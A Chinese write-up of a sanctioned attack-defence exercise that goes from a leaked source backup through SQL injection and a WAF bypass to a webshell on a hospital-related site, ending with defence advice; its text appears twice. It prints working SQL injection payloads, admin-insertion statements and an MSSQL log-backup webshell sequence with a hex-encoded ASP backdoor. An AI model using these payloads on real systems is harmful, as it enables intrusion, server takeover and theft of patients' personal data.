记一次攻防演练
字数 1727 2025-08-26 22:11:57

攻防演练实战:从源码审计到GetShell的全过程分析

0x00 前言

本文记录了一次市级攻防演练的完整过程,从目录扫描发现源码开始,通过代码审计发现SQL注入漏洞,绕过WAF防护,提取敏感数据,最终通过后台功能实现GetShell的全过程。整个过程涉及多种安全技术,包括信息收集、代码审计、WAF绕过、数据提取和权限提升等。

0x01 信息收集与源码发现

关键步骤

  1. 使用御剑扫描工具对目标网站进行目录扫描
  2. 发现网站备份文件 wwwroot.zip
  3. 下载并分析源码文件

技术要点

  • 大字典扫描策略:使用全面的大字典提高发现备份文件的概率
  • 常见备份文件命名:如wwwroot.zip、web.zip、backup.rar等

0x02 源码审计

敏感信息泄露审计

  1. 数据库配置信息

    • 发现使用内网IP连接MSSQL数据库
    • 数据库密码采用"目标网站系统名缩写+_1"的弱密码策略(如xzsq_1)
  2. 日志文件分析

    • 日志中包含大量敏感信息(姓名、电话、病例信息)
    • 使用Python脚本提取日志中的电话号码统计泄露数据量

文件上传功能审计

  1. 发现编辑器上传功能:

    • 配置文件设置PermitUpload=Y允许未授权上传
    • 白名单限制上传后缀(由配置文件定义)
    • IIS 10.0无解析漏洞可利用
  2. 文件上传函数分析:

    • 所有上传功能调用统一的UpFile函数
    • UpFile函数严格限制文件类型,难以绕过

SQL注入漏洞审计

  1. 过滤函数分析

    • 参数过滤使用ReplaceUrlBadChar函数
    • 函数存在双写绕过漏洞
    • 过滤关键字不完整
  2. 注入点发现

    • 注入点一user_id通过Cookie传入,直接拼接SQL
    • 注入点二:GET参数card_id直接拼接SQL
    • 注入点三:GET参数user_id直接拼接SQL
  3. 过滤函数缺陷:

// ReplaceUrlBadChar函数存在双写绕过可能
// 过滤不完整,可能遗漏参数过滤

0x03 WAF绕过技术

WAF拦截规则分析

  1. 拦截模式:select[位置一]from[位置二]
  2. 测试各种绕过方法失败:
    • 空白字符插入(%01-%20)
    • 注释符(/**/)
    • 特殊字符(.,:,-,~等)

成功绕过方法

  1. 科学计数法绕过:

    • 构造select..Efrom...形式
    • WAF识别为select..Efrom而非select...from
  2. 有效Payload:

user_id=-42681 union select top 1 1,2,3,SysAdmin1,5,6,7,8,9,10,11,12,13,14Efrom Sysadmin--++;
  1. 获取管理员凭证:
    • 账号:Admin
    • 密码:C513C9D645ABB226(MD5加密,但无法解密)

0x04 数据提取技术

批量获取敏感数据

  1. 利用SQL注入遍历用户信息:

    • Payload:user_id=§42681§ or 1=1
    • 包含病人姓名、身份证、电话、就诊卡号等
  2. Burp Suite数据提取技巧:

    • 使用Intruder模块批量测试
    • 配置Grep-Extract提取特定数据
    • 调整响应长度限制(默认100改为10000)

数据处理

  1. 解决乱码问题:
    • 保存后数据格式正常
    • 可统计泄露数据量作为得分依据

0x05 权限提升与GetShell

后台权限获取

  1. 通过SQL注入添加管理员:

    user_id=42681 if(1=1) insert into[SysAdmin](SysAdmin1,SysAdmin2,SysAdmin3,SysAdmin5) 
    values('test','A6AFBBCBF8BE7668','test','2099/11/18 12:36:00')--++;
    
  2. 修改管理员密码:

    user_id=42681 if(1=1) update[SysAdmin]set SysAdmin2='a6afbbcbf8be7668' where SysAdmin0=1--++
    

后台功能利用

  1. 发现后台执行SQL语句功能
  2. 权限限制:新增用户权限不足,需修改原管理员密码

GetShell技术

  1. 利用日志备份GetShell:

    backup database xxxx_db to disk = 'd:/wwwroot/logs/2019-12-20.bak'with init;
    alter database[xxxx_db]set RECOVERY FULL;
    create table[test_tmp](img image);
    insert into [test_tmp](img) values (0x3C25657865637574652872657175657374282261222929253EDA);
    backup log gxzyy_db to disk = 'd:/wwwroot/m/hacc.aspx'
    
  2. 免杀Webshell:

    • 使用十六进制编码的ASPX马
    • 通过日志备份写入可执行路径

总结与防御建议

攻击路径总结

  1. 信息收集 → 源码发现 → 代码审计 → SQL注入 → WAF绕过 → 数据提取 → 权限提升 → GetShell

防御建议

  1. 源码安全

    • 避免将备份文件存放在Web目录
    • 使用强密码策略,避免规律性密码
  2. 输入过滤

    • 使用参数化查询而非字符串拼接
    • 完善过滤函数,避免双写绕过
  3. WAF配置

    • 更新规则识别科学计数法等绕过技术
    • 对Cookie和GET/POST参数统一防护
  4. 权限控制

    • 严格限制后台SQL执行功能
    • 实施最小权限原则
  5. 日志管理

    • 定期清理日志文件
    • 对日志中的敏感信息进行脱敏处理

通过本次演练可以看出,一个看似简单的SQL注入漏洞,经过层层利用最终可能导致系统完全沦陷。防御方需要建立纵深防御体系,从代码安全到运行防护多方面加强安全性。

攻防演练实战:从源码审计到GetShell的全过程分析 0x00 前言 本文记录了一次市级攻防演练的完整过程,从目录扫描发现源码开始,通过代码审计发现SQL注入漏洞,绕过WAF防护,提取敏感数据,最终通过后台功能实现GetShell的全过程。整个过程涉及多种安全技术,包括信息收集、代码审计、WAF绕过、数据提取和权限提升等。 0x01 信息收集与源码发现 关键步骤 使用御剑扫描工具对目标网站进行目录扫描 发现网站备份文件 wwwroot.zip 下载并分析源码文件 技术要点 大字典扫描策略:使用全面的大字典提高发现备份文件的概率 常见备份文件命名:如wwwroot.zip、web.zip、backup.rar等 0x02 源码审计 敏感信息泄露审计 数据库配置信息 : 发现使用内网IP连接MSSQL数据库 数据库密码采用"目标网站系统名缩写+_ 1"的弱密码策略(如xzsq_ 1) 日志文件分析 : 日志中包含大量敏感信息(姓名、电话、病例信息) 使用Python脚本提取日志中的电话号码统计泄露数据量 文件上传功能审计 发现编辑器上传功能: 配置文件设置 PermitUpload=Y 允许未授权上传 白名单限制上传后缀(由配置文件定义) IIS 10.0无解析漏洞可利用 文件上传函数分析: 所有上传功能调用统一的 UpFile 函数 UpFile 函数严格限制文件类型,难以绕过 SQL注入漏洞审计 过滤函数分析 : 参数过滤使用 ReplaceUrlBadChar 函数 函数存在双写绕过漏洞 过滤关键字不完整 注入点发现 : 注入点一 : user_id 通过Cookie传入,直接拼接SQL 注入点二 :GET参数 card_id 直接拼接SQL 注入点三 :GET参数 user_id 直接拼接SQL 过滤函数缺陷: 0x03 WAF绕过技术 WAF拦截规则分析 拦截模式: select[位置一]from[位置二] 测试各种绕过方法失败: 空白字符插入(%01-%20) 注释符(/** /) 特殊字符(.,:,-,~等) 成功绕过方法 科学计数法绕过: 构造 select..Efrom... 形式 WAF识别为 select..Efrom 而非 select...from 有效Payload: 获取管理员凭证: 账号:Admin 密码:C513C9D645ABB226(MD5加密,但无法解密) 0x04 数据提取技术 批量获取敏感数据 利用SQL注入遍历用户信息: Payload: user_id=§42681§ or 1=1 包含病人姓名、身份证、电话、就诊卡号等 Burp Suite数据提取技巧: 使用Intruder模块批量测试 配置Grep-Extract提取特定数据 调整响应长度限制(默认100改为10000) 数据处理 解决乱码问题: 保存后数据格式正常 可统计泄露数据量作为得分依据 0x05 权限提升与GetShell 后台权限获取 通过SQL注入添加管理员: 修改管理员密码: 后台功能利用 发现后台执行SQL语句功能 权限限制:新增用户权限不足,需修改原管理员密码 GetShell技术 利用日志备份GetShell: 免杀Webshell: 使用十六进制编码的ASPX马 通过日志备份写入可执行路径 总结与防御建议 攻击路径总结 信息收集 → 源码发现 → 代码审计 → SQL注入 → WAF绕过 → 数据提取 → 权限提升 → GetShell 防御建议 源码安全 : 避免将备份文件存放在Web目录 使用强密码策略,避免规律性密码 输入过滤 : 使用参数化查询而非字符串拼接 完善过滤函数,避免双写绕过 WAF配置 : 更新规则识别科学计数法等绕过技术 对Cookie和GET/POST参数统一防护 权限控制 : 严格限制后台SQL执行功能 实施最小权限原则 日志管理 : 定期清理日志文件 对日志中的敏感信息进行脱敏处理 通过本次演练可以看出,一个看似简单的SQL注入漏洞,经过层层利用最终可能导致系统完全沦陷。防御方需要建立纵深防御体系,从代码安全到运行防护多方面加强安全性。